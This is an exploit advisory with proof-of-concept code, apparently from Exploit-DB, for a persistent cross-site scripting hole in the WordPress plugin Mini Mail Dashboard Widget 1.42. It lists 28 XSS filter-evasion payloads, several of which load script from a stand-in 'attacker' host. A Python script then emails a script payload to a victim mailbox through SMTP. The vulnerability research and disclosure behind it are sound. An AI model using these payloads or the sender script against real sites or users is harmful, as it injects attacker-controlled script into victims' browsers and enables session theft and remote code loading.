WordPress Plugin mini mail Dashboard widget 1.42 - Persistent Cross-Site Scripting

EDB-ID:

20358


Platform:

PHP

Published:

2012-08-08

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Mini Mail Dashboard Widget 
Version: 1.42
Software Download: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
14 Jul 2012: Version 1.43 released
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Extra note:
To execute the XSS, a user needs to click 'view in HTML'


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT>alert('XSS')</SCRIPT> 
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV STYLE="width: expression(alert('XSS'));">
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
8: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
9: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
10: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
11: <XSS STYLE="xss:expression(alert('XSS'))">
12: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
13: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
14: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
15: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
16: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
17: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
18: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
19: <<SCRIPT>alert("XSS");//<</SCRIPT>
20: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
21: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
22: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
25: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
26: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
27: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
28: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2
 
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)